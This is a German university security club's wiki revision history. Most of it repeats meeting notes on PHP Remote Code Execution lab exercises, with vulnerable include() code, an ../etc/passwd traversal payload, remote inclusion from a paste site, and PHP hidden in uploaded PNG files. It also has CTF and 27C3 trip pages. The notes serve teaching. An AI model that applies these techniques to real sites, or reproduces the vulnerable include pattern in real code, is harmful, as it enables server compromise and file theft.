<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news.php">News</a></li>
<li><a href="?page=memberz.php">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include('pages/' . $_GET['page']);
} else {
include('news.php');
}
?>
</div>
</pre>

== Sonstiges ==
Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben.

== Links ==
* Weblinks folgen vielleicht

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-02

2010-12-26T20:25:24Z

81.163.36.27: /* Quelltext */ dateiname verlinkt

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.

== Ablauf ==
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.

== Hackit 1 ==

Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.

=== Directory Traversal ===

Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.

=== Remote Code Inclusion/Execution ===

Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=<nowiki>http://dpaste.com/</nowiki><Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.

=== Quelltext ===
'''index.php'''
<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news.php">News</a></li>
<li><a href="?page=memberz.php">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include($_GET['page']);
} else {
include('news.php');
}
?>
</pre>
</div>

== Hackit 1.5 ==

Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.

=== Hochladen eines "Bildes" ===
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.

=== Hochladen von foo.php.png ===

Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.

=== Kommentar von PNG-Dateien ===
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.

=== Quelltext ===
'''index.php:'''
<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news.php">News</a></li>
<li><a href="?page=memberz.php">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include('pages/' . $_GET['page']);
} else {
include('news.php');
}
?>
</div>
</pre>

== Sonstiges ==
Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben.

== Links ==
* Weblinks folgen vielleicht

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-02

2010-12-26T20:24:31Z

81.163.36.27: /* Sonstiges */ init

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.

== Ablauf ==
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.

== Hackit 1 ==

Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.

=== Directory Traversal ===

Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.

=== Remote Code Inclusion/Execution ===

Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=<nowiki>http://dpaste.com/</nowiki><Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.

=== Quelltext ===
<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news.php">News</a></li>
<li><a href="?page=memberz.php">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include($_GET['page']);
} else {
include('news.php');
}
?>
</pre>
</div>

== Hackit 1.5 ==

Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.

=== Hochladen eines "Bildes" ===
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.

=== Hochladen von foo.php.png ===

Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.

=== Kommentar von PNG-Dateien ===
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.

=== Quelltext ===
'''index.php:'''
<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news.php">News</a></li>
<li><a href="?page=memberz.php">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include('pages/' . $_GET['page']);
} else {
include('news.php');
}
?>
</div>
</pre>

== Sonstiges ==
Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben.

== Links ==
* Weblinks folgen vielleicht

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-02

2010-12-26T20:07:14Z

81.163.36.27: hackit 1.5 init

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.

== Ablauf ==
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.

== Hackit 1 ==

Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.

=== Directory Traversal ===

Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.

=== Remote Code Inclusion/Execution ===

Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=<nowiki>http://dpaste.com/</nowiki><Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.

=== Quelltext ===
<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news.php">News</a></li>
<li><a href="?page=memberz.php">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include($_GET['page']);
} else {
include('news.php');
}
?>
</pre>
</div>

== Hackit 1.5 ==

Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.

=== Hochladen eines "Bildes" ===
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.

=== Hochladen von foo.php.png ===

Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.

=== Kommentar von PNG-Dateien ===
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.

=== Quelltext ===
'''index.php:'''
<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news.php">News</a></li>
<li><a href="?page=memberz.php">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include('pages/' . $_GET['page']);
} else {
include('news.php');
}
?>
</div>
</pre>

== Sonstiges ==
FIXME

== Links ==
* Weblinks folgen vielleicht

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-02

2010-12-26T19:45:44Z

81.163.36.27: remote code inclusion/execution init

CInsects/Protokolle/CInsects:Treffen-2010-11-02

2010-12-26T19:28:58Z

81.163.36.27: init Hackit1

CInsects/Protokolle/CInsects:Treffen-2010-11-02

2010-12-26T19:11:58Z

81.163.36.27: /* Ablauf */ init

CInsects/CTFs/RuCTFE 2010

2010-12-26T19:05:11Z

81.163.36.27: citation is not needed

Der [http://ructf.org/e/2010/ RuCTFE 2010] ist ein [http://www.cipher-ctf.org/CaptureTheFlag.php Capture the Flag] Wettbewerb, der jedes Jahr im Dezember ausgetragen wird.

== Termine ==
=== Raum ===
Wir treffen uns in Raum F-629. Das ist ein Forschungslabor von SVS. Bildschirme, Netz und Netzwerk für Laptops sind da im Labor vorhanden. Tel.: 040/42883-2359
Während des CTF wird Raum F-630 als Besprechungsraum und Entspannungsraum dienen.
=== Zeiten ===
Wir treffen uns zur Vorbereitung am 18.12. am Nachmittag um alles
soweit herzurichten.

== Anmeldung ==
Schreibe eine E-Mail an <cinsects@informatik.uni-hamburg.de> aus der hervorgeht, dass du aktiv teilnehmen willst. Zuschauer sind natuerlich auch herzlich willkommen, brauchen sich nicht anmelden und koennen einfach vorbeikommen.
Ihr könnt euch natürlich auch an Henning oder Olli wenden, die helfen euch sicher auch weiter.

=== Teilnehmer ===

# Henning (8pridoeh)
# Olli (7bestman)
# Sven (7neithoe)
# bjoernb
# Lars (nachdem er aus dem Weihnachtsfeierrausch erwacht ist)
# Marius (dito)
# teythoon

== Ergebnis ==
Wir haben den 8. Platz von 56 teilnehmenden Teams gemacht.

[[Kategorie: CInsects-CTFs]]

27C3

2010-12-26T18:54:20Z

81.163.36.27: /* Rueckfahrt */ steht fest.

Dies ist die Seite zu dem im Jahr 2010 stattfindenden [[CCCongress]].

= Hinfahrt =
Wir nehmen folgende Hinfahrt. Sollte das jmd nicht passen, bitte melden.
<pre>
Hamburg Hbf So, 26.12.10 ab 12:24 6a RE 4311
Schwerin Hbf So, 26.12.10 an 13:51 2
Umsteigezeit 26 Min. Umsteigezeit anpassen
Schwerin Hbf So, 26.12.10 ab 14:17 3 RE 37311
Berlin Hbf (tief) So, 26.12.10 an 16:29 1
</pre>

= Pennen =
FIXME: Vorschlag: http://events.ccc.de/congress/2010/wiki/U_inn_Berlin_Hostel_27C3_special fuer 13 Euro die Nacht im 8er Dorm, ist aber weit weg. Oder eben A&O: http://www.aohostels.com/de/berlin/hotel-mitte/buchung/

= Tickets =
Es wird Dauertickets nur im Vorverkauf geben!
Es wird Dauertickets nur im Vorverkauf geben!
Es wird Dauertickets nur im Vorverkauf geben!

Wenn du kein Ticket hast aber eins moechtest, konsultiere http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale bzw. https://presale.events.ccc.de/

= Rueckfahrt =
Wir fahren am 31.12.2010 um 05:16 Uhr von Berlin Hauptbahnhof mit dem ICE nach Hamburg Hauptbahnhof.

= Call for Participation =
<pre>
Hallo,

sicherlich hast du wie jedes Jahr schon lange auf diese E-Mail
gewartet ;-) Du bist ab sofort aufgefordert dich zu melden, wenn
du mit zum 27C3 fahren willst.

Kurz:
=======

27C3 - We come in peace
Hinfahrt : So. 26.12.10
Rückfahrt: Do. 30.12.10 / Fr 31.12.10
Kosten: ~165 E
Anmeldefrist: So. 21.11.10
Wie: E-Mail 4tmuelle@

ACHTUNG! Dieses mal gibt es _keine Abendkassentickets_ und Tickets
ACHTUNG! koennen nur im Vorverkauf erworben werden. Wer ein Ticket
ACHTUNG! haben moechte sollte es moeglichst bald erwerben, da erwartet
ACHTUNG! erwartet wird, dass es einen grossen Ansturm geben wird.
ACHTUNG! Die naechsten Vorverkaufstickets werden am 11.11 freigegeben
ACHTUNG! es wird aber empfohlen sich schon jetzt im
ACHTUNG! Vorverkaufssystem[1] zu registrieren, da der Account 24h zur
ACHTUNG! Aktivierung braucht.

[1] https://presale.events.ccc.de/accounts/sign_in

Lang:
=======

Der 27C3 ist der 27te Chaos Communication Congress in Berlin und findet
wie immer vom 27.12 bis zum 30.12 im Berliner Congress Center statt.

Wir werden mit der Bahn hin- und zurückfahren und während der Zeit in
einem Hostel übernachten.

Auf der "europäischen Hackerkonferenz" wird es vornehmlich eine Menge
Vorträge im Bereich Hacking, Science, Society, Culture und Community,
und viele fast schlaflose Nächte geben.

Ein Zitat von der 27C3-Seite [1]:
| The 27C3 is the annual four-day conference organized by the Chaos
| Computer Club (CCC) in Berlin, Germany.
| The Congress offers lectures and workshops on a multitude of topics
| and attracts a diverse audience of thousands of hackers, scientists,
| artists, and utopians from all around the world. The 27C3's slogan is
| “We come in peace”.
|
| For 27 years, the congress is organized by the community and
| appreciates all kind of participation. You are encouraged to
| contribute by volunteering, setting up and attending hands-on
| events or presenting your own projects to fellow hackers.

Die Hinfahrt wird am 26.12 gegen Mittag mit Regionalbahnen stattfinden.
Übernachten werden wir vorraussichtlich im A&O Hostel Berlin Mitte.
Wer am 30ten zurückfahren möchte, hat hier die Auswahl zwischen früh und
günstig fahren oder spät und nicht ganz so günstig. Die frühe Variante
wäre mit Regionalbahnen und würde bereits um 19 Uhr in Berlin starten,
damit würdest du die letzten Vorträge verpassen. Die späte Rückfahrt
wäre mit dem ICE gegen 23 Uhr und wird 15-20 Euro mehr kosten, je
nachdem, welche Tickets verfügbar sind.

Tickets fuer die Konferenz gibt es nur im Vorverkauf. Wenn du noch kein Ticket organisiert hast, schau auf http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale. Alternativ kannst du bestimmt einen befreundeten Hacker mit Bier oder schoenen Pflanzen bestechen, dir evtl. ein Ticket zu besorgen.
Um es glasklar zu machen: Es wird auf dem CCCongress *keine* Dauertickets geben. Wenn du noch kein Dauerticket hast, wirst du nicht in der Lage sein, an der ganzen Konferenz teil zu nehmen.
Falls du kein Ticket abbekommen hast gibt es die Moeglichkeit den CCCongress in einem Hackerspace deiner Wahl zu erleben. Mindestens der Attraktor wird "Peace Missions" abhalten. Fuer mehr Informationen schau auf http://events.ccc.de/congress/2010/wiki/Peace_Missions

Da im letztem Jahr einige noch anschliesend auf der C-Base-Party waren
und erst am nächstem Tag zurueck gefahren sind, kam die Idee auf beim
nächsten mal (sprich dieses mal) das Hostel länger zu buchen. Daher gibt
es diesesmal die Option eine weitere Nacht im Hostel zu bleiben und erst
am nächsten Tag zurueck zufahren. Die zusätzlichen Kosten sind davon
abhängig wie viele dann länger dableiben. Man kann bei der C-Base-Party
aber auch sein Gepäck abgeben und die Nacht durchmachen :-)
Fuer die Rueckfahrt bietet sich dann der Berlin-Linienbus an.

Wenn auch du Lust bekommen hast, dieses Jahr dabei zu sein, antworte bis zum

Sonntag, den 21.11.2010 23:59h CET

an 4tmuelle@ und teile mit, ob du

[ ] hinfahren
uebernachten
( ) bis zum 30.
( ) bis zum 31.
zurueckfahren
( ) früh am 30.
( ) spät am 30.
( ) am 31.

willst oder irgendwelche Extrawünsche hast.

Die Kosten belaufen sich derzeit auf ca.

~75 Euro für die Übernachtung (4x~18.75)
~ 8 Euro Hinfahrt
~11 Euro frühe Rückfahrt oder ~30 Euro für die späte Ruckfahrt
70 Euro Eintritt[2]
--------------------
165 Euro Gesamt (früh) / 185 Euro Gesamt (spät)

Ansonsten findest du weitere Informationen auf der Website des
Kongress[3] und in unserem Fachschaftswiki[4].

Gruß,
Muelli

[1] http://events.ccc.de/congress/2010/wiki/Main_Page
[2] Solltet ihr Mitglied im CCC sein kostet der Eintritt nur 45 Euro,
der Jahresbeitrag betraegt fuer Studenten 36 Euro und die bekommt
die letzte sowie alle folgenden Datenschleudern. Folglich: Mitglied
werden lohnt sich, am besten gleich das Formular unter
http://ccc.de/de/membership ausfuellen!
[3] http://events.ccc.de/congress/2010/
[4] http://mafiasi.de/27C3

</pre>

Vorlage:Aktuelles

2010-12-26T18:53:16Z

81.163.36.27: 27c3

* '''So, 26.12.2010''' bis '''Do, 30.12.2010''' - Der [[27C3]] findet statt.
* '''Mo, 03.01.2011''' - Erster Vorlesungstag nach den Weihnachtsferien
* '''Fr, 04.02.2011''' bis '''So, 06.02.2011''' - [[FOSDEM 2011|Free and OpenSource Developer European Meeting]] in Brüssel